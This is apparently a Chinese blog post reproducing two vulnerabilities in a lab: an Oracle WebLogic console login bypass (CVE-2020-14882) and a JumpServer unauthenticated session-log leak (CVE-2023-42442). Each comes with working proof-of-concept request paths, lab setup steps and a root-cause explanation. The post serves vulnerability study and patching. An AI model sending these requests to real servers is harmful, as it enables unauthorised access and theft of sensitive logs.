CVE-2020-14882
漏洞描述:
Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。
环境搭建:
使用Weblogic 12.2.1.3版本,采用docker环境,使用vulhub搭建测试靶场
执行命令创建容器:
docker-compose up -d
搭建完毕后,访问http://192.168.121.128:7001/console/进入后台登录界面
POC
这里利用cve-2020-14882提供的payload构建以下url:
http://192.168.121.128:7001/console/css/%252E%252E%252Fconsole.portal
即对“../”url编码两次得“%252E%252E%252F”,即可越过登录,直接访问后台
CVE-2023-42442
漏洞描述:
JumpServer是一款开源的堡垒机和权限管理系统,旨在帮助企业实现对服务器和网络设备的安全管理和访问控制。JumpServer的权限管理存在缺陷,未经授权的远程攻击者可以下载历史会话连接期间的所有操作日志。经过分析和研判,该漏洞利用难度低,可导致敏感信息泄漏。
影响版本:
3.0.0 <= version <= 3.5.4
3.6.0 <= version <= 3.6.3
漏洞复现:
这里我选用JumpServer3.4.1版本进行演示,执行:
curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v3.4.1/quick_start.sh | bash
在linux上下载安装JumpServer3.4.1版本
等待镜像拉取完成,进入安装目录,输入./jmsctl.sh start启动服务。
访问 your-ip:80进入页面,初次登录账号密码均为admin
为了方便演示,可以在用户管理和资产管理创建用户和资产,来模拟真实效果
漏洞POC
构建http://your-ip/api/v1/terminal/sessions/可直接绕过登录,直接获取到端口暴露出来的用户信息
漏洞分析:
属于严重的高危漏洞,对于处于漏洞版本的用户建议立即升级最新版本
https://github.com/jumpserver/jumpserver/tags
简要描述成因:JumpServer采用了Django Rest Framework框架提供的BasePermission作为权限控制。
里面会有两个方法需要自己定义,通常需要实现has_permission、has_object_permission中的一个或两个方法
has_permission,可以对列入黑名单的IP进行全局权限检查,如果IP已被列入黑名单,则拒绝该请求。
has_object_permission,它的作用就是允许对象的所有者对其进行编辑,而对于其它用户只允许进行只读操作,比如对于GET、HEAD、OPTIONS,即只读操作,返回 True。
正如Django Rest Framework官方所述,has_permission方法可以提供一个基本的权限检查,用于验证用户是否具有访问整个API视图的权限。而has_object_permission方法可以在has_permission验证通过后,进一步验证用户是否具有访问特定对象的权限,所以为了确保安全性,最优的方式就是在自定义权限类中同时实现这两个方法。
然而JumpServer只实现了has_object_permission方法,并且IsSessionViewSet这个类,是处理与Session相关的API请求,所以直接访问“api/v1/terminal/sessions”可查看保留下来的各类信息。
6
By 6 at June 11th, 2024 at 02:51 pm.